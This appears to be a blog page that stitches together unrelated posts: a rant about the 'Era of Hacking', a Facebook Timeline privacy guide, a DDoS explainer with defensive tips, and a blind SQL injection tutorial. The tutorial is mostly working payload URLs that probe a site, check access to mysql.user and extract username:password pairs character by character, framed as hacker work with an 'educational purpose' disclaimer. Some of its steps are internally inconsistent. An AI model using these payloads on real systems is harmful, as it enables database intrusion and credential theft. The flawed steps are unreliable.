Security Issues in Cloud Computing

Security in Cloud Computing from Falgun Rathod

Welcome to the Era of Hacking, Total Exposure

We are asleep in a world of dreams and nightmares, both of which we live daily, and both of which need to be controlled by someone, for that is the joy of those people who pull the strings. If just one of us opens our eyes and sees through the cloud of deception that is placed before everyone’s eyes, then the dream is dispelled and we acknowledge the farce and fallacies around us for what they are and we see the “sheeple” just following blindly along....so many things I have seen, just in the last few days...I just have to shake my head and turn a blind eye sometimes...nothing to do but write....

In a “cyber-war”, where is the enemy? The investigating agencies, be it FBI or the CBI, would just love to know that hackers have managed to positively identify which sites belong to those responsible for the terrorist attacks. Even if they could be identified, attacking them could destroy crucial evidence. Blindly attacking sites perceived to be vaguely Arabic is just plainstupid (or at least not a sign of a true genius). Attacking sites of people who aren't even remotely involved to vent emotions is even more moronic.

Hacking is morally and ethically wrong, an offense against various governments in the world. You can see how hacking has changed from 1878 to the present day and how quickly it is becoming more of a threat to everyday life. This is due to the fact that many homes and businesses use computers placing themselves at a risk of getting hacked.

At last, I would like to say “WAKE UP INTERNET WORLD!” Security systems all over the globe are threatened and very few seem to understand what is happening. If the CEO’s, Administrators, Presidents, and other heads of businesses and governments aren’t demanding that their IT departments are re-evaluating their security systems, then they deserve everything the hackers give them.

Hacking is here to stay. It will not go away quietly. It will not be eliminated. If a software engineer can write a security program believe me when I say a hacker can breach it.

It’s hard to imagine a world without computers, mobile devices or the Web. Cyber criminals and malicious hackers know just how important these tools are to not only work, but everything we do in our personal lives as well.

And because we rely on them so heavily, they are a prime target for attack. Viruses and other malware used to attack computers, networks and websites has changed over the years. Initially, these malicious programs were written to be mischievous. While destructive in nature, they did not have the same intent and outcome that malware does today. Nowadays, cyber criminals stand to make hundreds of thousands of dollars from malware. Unfortunately, there are just too many strains of malicious software out there for each one of them to make the news like they did in the old days.

As we watch many movies in which hackers just type a code and any computer get hacked, for many people, this is like a fake thing in real it happens.

The reasons why Hackers hack can be motivated by different agendas, such as malicious intent, for the challenge, or for profit. Whatever their motivations, they are a chronic pain the butt and website owners must be constantly on guard or run the risk of their sites going down, and experience loss to their business and/or business reputation.

To some, hacking is just an amusing game or challenge just to prove how smart you are. A trait that most hackers share is a strong sense of curiosity. They pride themselves on their ability create new programs. They brag to their social circle about any high-profile system that they've hacked. You can employ more security measures to protect your computer system e.g. Firewalls, anti-spyware, anti-viral etc., but these types of hackers just find it more of a challenge to defeat these security defenses and your computer crashing is just another trophy on their hacker shelf. Yes these types of hackers are annoying but the ones you really need to worry about are the hackers who hack for profit - your criminal hackers.

By now corporations and governments worldwide have taken notice that their security systems are at risk. Well, sort of. There is still an arrogance and attitude of “it couldn’t happen to me.” In the meantime, hackers all over the globe are getting into everything from email to top secret documents.

It doesn’t surprise a specialist in the Information Technology field that the heads of corporations like Sony and government agencies like NASA have been slow on the uptake. For too long these people have been driven by greed and have acted with total impunity.

No more. Because internet security has become the number one target of organized groups like Anonymous or 13 year old boys fooling around on the computer, every government, business, corporation, and personal computer is at risk.

And, the conundrum for everyone is that if you can write a security program, someone can hack it. One doesn’t think it will be out of business soon because some government agency or billion dollar corporation thinks it can outsmart the techies of the world. No, the real issue is how are institutions going to process information, secure and public that cannot be hacked into?

Technology advances in storage and computing models (e.g. cloud) have made it possible for modern companies to save massive amounts of data about their customers and partners. These increasingly large stores of information can provide insights that improve marketing efforts, help refine product offerings or even enable completely new service/product lines. However, the data also makes these organizations more attractive to attackers. Last year, the number of data breaches due to hacking exceeded lost and stolen laptops for the first time; hacking was responsible for 83 percent of the total exposed records in 2011. The impacts of a data breach can be significant – lost time, revenue and reputation. However, the stakes may be becoming even higher.

Every era has had a name and this era is going to be named the Era of Hacking. This is the era when the dishonest and corrupt are being caught with their pants down and their phony financial reports exposed. The hero’s of our world will no longer be gold star generals or presidents but faceless hackers with a weapon called the keyboard.

Source - http://krishnan1983.blogspot.in/2012/08/hacking-in-todays-world.html

Thanks to S. Krishnan Sir....

5 ways to secure your Facebook profile in a post

5 ways to secure your Facebook profile in a post-Timeline world

With the ongoing rollout of Facebook's Timeline feature, security and privacy have never been more important to your digital life. The new layout presents all of your current and past activities on Facebook -- posts, photos, comments, likes and so on -- in a handy timeline format to anyone with access to your profile, which may include friends of friends, colleagues, executives at your company, a potential future boss ... well, you get the idea.

If you've made the jump to Timeline -- and if you haven't, you will within the next few weeks, like it or not -- you should know that Facebook has changed a few things, and there are certain settings you need to pay attention to if you're concerned about what parts of your life others can see. Here's how to lock down your profile in the post-Timeline world.

 

1. Limit your connections

Most key privacy settings are accessible by clicking the arrow in the upper right-hand corner of your profile screen (next to your name and the Home button). From here, select Privacy Settings in the drop-down menu.

Click on Edit Settings next to the How You Connect option to begin your profile lockdown. This section contains five privacy settings.

  Limit who can find you, contact you and post to your timeline.

The first three settings govern who can look up your profile and see your contact information, who can friend you and who can send you messages. For maximum privacy, change the first and third settings to Friends, thereby preventing anyone else from looking up your profile or sending you messages.

The second setting governs who can send you Friend requests. The more secure choice is Friends of Friends, but it limits your connectivity on the world's largest social network. If you're worried about losing out on friendship opportunities, keep it set to Everyone.

The last two settings dictate who can post on your timeline and who sees those posts. Only Me is the safest option, but choosing it severely reduces the number of interactions Facebook offers. If you're seriously considering limiting your timeline posts to you and only you, it might be time to leave Facebook entirely.

Setting both of these options to Friends is relatively safe while still allowing the sharing that makes Facebook fun. And there is a way to review posts from friends before they appear on your timeline, as you'll see in the next section of the story.

2. Tailor your tags

An easily missed entry in the Privacy Settings is one innocuously labeled How Tags Work. However, it is essential to tweak the settings found here if you want to take control of your profile's privacy, as some tagging actions can be pretty invasive.

The first two settings (Timeline Review and Tag Review) are particularly useful. When you enable them, you can review posts and photos that friends tag you in, as well as the tags friends add to your own posts -- all before this information goes public. That's especially valuable if you have well-meaning friends who think tagging you in those Vegas party photos is a good idea.

Enabling Timeline Review lets you vet posts you're tagged in before they appear on your timeline.

The third setting, Maximum Timeline Visibility, should be set to Friends or customized for certain friend lists or networks to ensure that these tagged posts, once approved, aren't seen by everyone.

Disable the fourth setting on the list, Tag Suggestions. It makes it harder for friends to tag large quantities of photos featuring you or people that look like you. But it also takes some of your profile's privacy out of the hands of others.

The last setting on the list is seriously important: It determines whether or not friends can check you in to places. Turn it off. The only thing worse than constantly broadcasting your location is having someone else do it without your express permission.

3. Rein in app permissions

Speaking of permissions, the permission window that used to appear frequently when Facebook apps wanted to access your profile information is pretty much MIA now. Currently, apps need to ask you only once for permission. Once they do, they'll mine your profile information as often as need be, sometimes even when the app isn't being used.

Fortunately, there's a privacy fix. Unfortunately, it's not a quick one, since you'll have to tweak each app's settings individually.

In the main Privacy Settings, click on Edit Settings next to the Apps and Websites entry to bring up the Apps, Games and Websites privacy settings page. Next to "Apps you use," click on Edit Settings again to access a full list of apps running on your profile. Each app is accompanied by an Edit button, which displays the app's permissions when clicked. Each app has different permissions enabled, so you'll have to check each one individually.

Check each of your Facebook apps to see what permissions it demands.

Here's the bad news: Some permissions, such as sharing basic profile information with the app, cannot be altered. These are marked by the grayed-out word "Required" next to the particular permission.

Other settings, however, have the word "Remove" next to them -- click on it to remove any permission. These are the only items that can be changed, so you'll have to take a hard look at what permissions an app deems a necessity. If you don't like what you see, click "Remove app" at the top of the same page and learn to live without that app.

For the apps you do keep, it's important to control who sees the information that the apps share -- many of them are designed to broadcast your activities on your timeline and in the "ticker" on the right side of users' home pages. At the bottom of each app's permissions page is another important option entry titled "App activity privacy." Click on the drop-down menu and select Only Me to be sure your app activity isn't seen by anyone else.

Similarly, if you install any new apps, be sure to select Only Me under "Who can see activity from this app on Facebook" on the installation page.

4. Stop others from taking your information with them

The Apps, Games and Websites privacy settings also contain some other features that security hounds would be wise to disable.

Click on Edit Settings next to the entry labeled "How people bring your info to the apps they use." Other users may be able to bring your personal information with them when they use apps and websites. It's all in the interest of making things more social. It can also be invasive. Uncheck the box next to each information category listed (there are 17 of them) to prevent others from using your personal data.

Prevent others from using your personal information in apps and on other websites.

Head back to the Apps, Games and Websites privacy settings and click Edit Settings for the "Instant personalization" category. This option should be turned off by default, but check to make sure. You'll first see a pop-up screen explaining the feature; when you close that, you'll be able to see whether it's enabled. If it is, disable it. This will prevent Facebook partner sites from accessing your public information to personalize your experience on their own websites.

5. Reduce your social footprint

Sharing is the whole point of Facebook, but the Timeline layout sometimes takes this to extremes, making it easy for others to see all your activity from years gone by. The good news is that you can disable Recent Activity updates, which broadcast new friendships, groups you've joined and any other changes in your basic information (such as relationship status or political views). Just click on the X next to a Recent Activity update on your timeline and select Hide Similar Activity from Timeline.

This makes the process of hiding certain activities from your past a little easier. But here's the bad news: Individual status updates or posts from, say, your less judicious days need to be removed individually by clicking the pencil icon next to each item and choosing Hide from Timeline -- a process that could take you to the end of 2012 if you've ever been very active on Facebook.

There's a limited solution, though: In the main Privacy Settings window, the second-to-last entry on the list is titled Limit the Audience for Past Posts. Click on the Manage Past Post Visibility link next to it. A window will appear giving you the option to change all past posts so that they're visible only to friends. Click Limit Old Posts to do so.

That will at least prevent anyone other than people you've friended from seeing older items on your timeline. But considering that your boss, colleagues and other acquaintances may be among your Facebook friends, it's still a good idea to review your entire timeline and remove compromising status updates, comments, links and photos. Start with the oldest items first. When you first started using Facebook, you probably had fewer contacts and might have posted and commented with less caution than you've done more recently.

Limit your posts to friends -- or a select group of friends.

As a last precaution, make sure that everything you post on Facebook moving forward is shared only with friends, specific networks or friend lists: Click the drop-down box next to your status update, comment, link or other shared content and select Friends or a group. For even more granular control over who can and can't see a post, select the Custom option.

It bears mentioning that the last and best defense against digital privacy invasions is common sense. You may want to be a bit irreverent with your Facebook friends -- and there's nothing wrong with that. But ask yourself if you'd wave that questionable photo or say that pithy comment in front of someone who could affect your future hiring prospects. If not, think twice before you post it on Facebook.

Understanding DDOS Attack

What is DDos Attack ?

Compromised PCs, or “bots,” are formed into groups called “botnets” and are used as weapons by cyber-attackers to launch various forms of cyber attacks. These attacks range widely from DDoS to identity theft and clandestine intelligence gathering operations.
During Distributed Denial of Service attempts, attackers launch attacks using different techniques including HTTP, HTTPS, ICMP, SYN Floods, UDP Floods, DNS Request Floods, GET Floods, and others. The attack components are often used in combination, and range in size from a few hundred megabits per second (Mbps) to over 80 gigabits per second (Gbps). Increasingly sophisticated attacks are based around application requests at Layer-7.

Normally, DDOS consists of 3 parts . One is the Master ,Other the slave and atlast the victim. The master is the attack launcher ie the person/machine behind all this,sound’s COOL right . The slave is the network which is being compromised by the Master and Victim is the target site/server . Master informs the compromised machines, so called slaves to launch attack on the victim’s site/machine. Hence its also called co-ordinated attack.

How do they Do it ?

DDOS is done in 2 phases. In the first phase they try to compromise weak machines in different networks around the world. This phase is called Intrusion Phase. Its in the next phase that they install DDOS tools and starts attacking the victims machines/site. This Phase is called Distributed DoS attacks phase.

What Allowed them to Do ?

1. Vulnerable softwares/Applications running on a machine or network.
2. Open network setup.
3. Network/ machine setup without taking security into account.
4. No monitoring or DataAnalysis are being conducted.
5. No regular Audit / Software upgrades being conducted.

First Identify if you are really under attack. If yes, follow the below steps :

• Check if your machines load is high and you have large number of HTTP process running.

To find the load just use the command w or uptime -

–

Eg:

falgun@localhost>w 12:00:36 up 1 day, 20:27, 5 users, load average: 0.70, 0.70, 0.57

USER XYZ FROM LOGIN@ IDLE JCPU PCPU WHAT

–

To find if there is large number of HTTP process running use the command ” ps -aux|grep HTTP|wc -l ”

–

Eg:

[falgun@localhost]# ps -aux|grep HTTP|wc -l

23

–

In a heavy server , the number of connection will go above 100. But during DDOS attack, the number will go even higher and thats when we need to find out from which all networks are these attacks coming. In DDOS the host machine doesn’t have much importance. Its the network which is of importance here because, an attacker will use any machine on the compromised network or even will use all the machines in the network. Hence network address is of importance while fighting with the attack.

However, there are some actions you can take to protect yourself. Here's some basic advice:

• Ensure that you have adequate bandwidth on your Internet connection. You'll be able to foil many low-scale DDoS attacks by simply having enough bandwidth (and processing power) to service the requests.
• Deploy an intrusion prevention system on your network. Some (but definitely not all) DDoS attacks have recognizable signatures that an IPS can detect and use to prevent the requests from reaching the Web server.
• Use a DDoS prevention appliance, including any of the Cisco Systems Inc. Cisco Guard products, that is specifically designed to identify and thwart distributed denial-of-service attacks.
• Maintain a backup Internet connection with a separate pool of IP addresses for critical users. While you won't be able to switch all access to your website over to a backup connection (the attacks will switch at the same time!), you can provide critical users with an alternate path to your site if the primary circuit is swamped with bogus requests.

These tips should get you started on the road toward building a hardy Web infrastructure with the highest probability of surviving a DDoS attack. Good luck!

Blind SQL Injection Tutorial Illustrated

Blind injection is a little more complicated the classic injection but it can be done :D 

It's some what hard but good to Learn 

1) http://www.site.com/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc... then when we want to test it for blind sql injection attack

2) http://www.site.com/news.php?id=5 and 1=1 <--- this is always true

and the page loads normally, that's ok.now the real test

3) http://www.site.com/news.php?id=5 and 1=2 <--- this is false

so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.Hacker's Work Started :) 

1) Get the MySQL version

to get the version in blind attack we use substring 

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.replace 4 with 5, and if query return TRUE then the version is 5. 

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works 

when select don't work then we use subselect 

i.e

http://www.site.com/news.php?id=5 and (select 1)=1 

if page loads normally then subselects work.then we gonna see if we have access to mysql.user

i.e

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names.This is part when guessing is the best friend for Hacker ...

i.e.

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

then if the page loads normally without content missing, the table users exits.

if you get FALSE (some article missing), just change table name until you guess the right one :)

let's say that we have found that table name is users, now what we need is column name. 

the same as table name, we start guessing. Like i said before try the common names for columns.

i.e.

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get false then try common names or just guess) 

here we merge 1 with the column password, then substring returns the first character (,1,1)

4). Pull data from database

we found table users i columns username password so we gonna pull characters from that.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users. 

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value and then compare it with simbol greater then > .

 so if the ascii char greater then 80, the page loads normally. (TRUE)

 we keep trying until we get false.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far

 so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

 There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,

 cause that makes you better SQL INJECTOR :D

Hope You Learned alot from this and This is just for Educational Purpose.